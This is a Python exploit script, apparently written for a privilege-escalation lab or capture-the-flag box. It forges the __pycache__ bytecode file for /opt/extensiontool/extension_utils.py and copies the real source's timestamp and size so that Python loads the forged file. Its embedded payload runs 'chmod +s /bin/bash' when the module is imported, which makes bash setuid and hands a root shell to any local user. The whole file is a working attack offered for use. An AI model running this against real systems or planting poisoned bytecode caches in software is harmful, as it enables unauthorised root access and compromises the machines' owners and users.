import marshal
import struct
import time
import os
import importlib.util
import sys

# CONFIGURATION
# Path to the LEGITIMATE source file on the target system
# You need read access to this file to steal its timestamp/size
SOURCE_FILE = "/opt/extensiontool/extension_utils.py" 

# The name of the malicious output file
OUTPUT_FILE = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"

def create_payload():
    if not os.path.exists(SOURCE_FILE):
        print(f"[!] Error: Could not find source file: {SOURCE_FILE}")
        print("    Update SOURCE_FILE path to the real .py file.")
        sys.exit(1)

    print(f"[*] Targeting source: {SOURCE_FILE}")

    # 1. Get the metadata from the legitimate source file
    # This is critical. If these don't match, Python ignores our payload.
    stats = os.stat(SOURCE_FILE)
    source_mtime = int(stats.st_mtime)
    source_size = stats.st_size
    
    print(f"    - Mtime: {source_mtime}")
    print(f"    - Size:  {source_size}")

    # 2. Define the payload
    # This code executes when the module is imported
    payload_code = """
import subprocess
subprocess.run('chmod +s /bin/bash', shell=True)
"""

    # 3. Compile the payload into a code object
    try:
        code_obj = compile(payload_code, SOURCE_FILE, 'exec')
    except Exception as e:
        print(f"[!] Compilation failed: {e}")
        sys.exit(1)

    # 4. Construct the .pyc Header
    # Python 3.7+ Header: [Magic 4B] [Bitfield 4B] [Mtime 4B] [Size 4B]
    
    # Get Magic number for the CURRENT running Python (Must be 3.12)
    magic = importlib.util.MAGIC_NUMBER
    
    # Verify we are on Python 3.12 (Magic number for 3.12 is usually 3531 \r \n)
    # If you are cross-compiling, you might need to hardcode this.
    print(f"[*] Using Magic Number: {magic.hex()}")

    bitfield = 0 # Standard timestamp validation
    
    # Pack header (Little Endian <, Unsigned Int I)
    header = struct.pack('<IIII', 
                         int.from_bytes(magic, 'little'), 
                         bitfield, 
                         source_mtime, 
                         source_size)

    # 5. Write the file
    with open(OUTPUT_FILE, 'wb') as f:
        f.write(header)
        marshal.dump(code_obj, f)

    print(f"[+] Forged {OUTPUT_FILE} created successfully.")

if __name__ == "__main__":
    create_payload()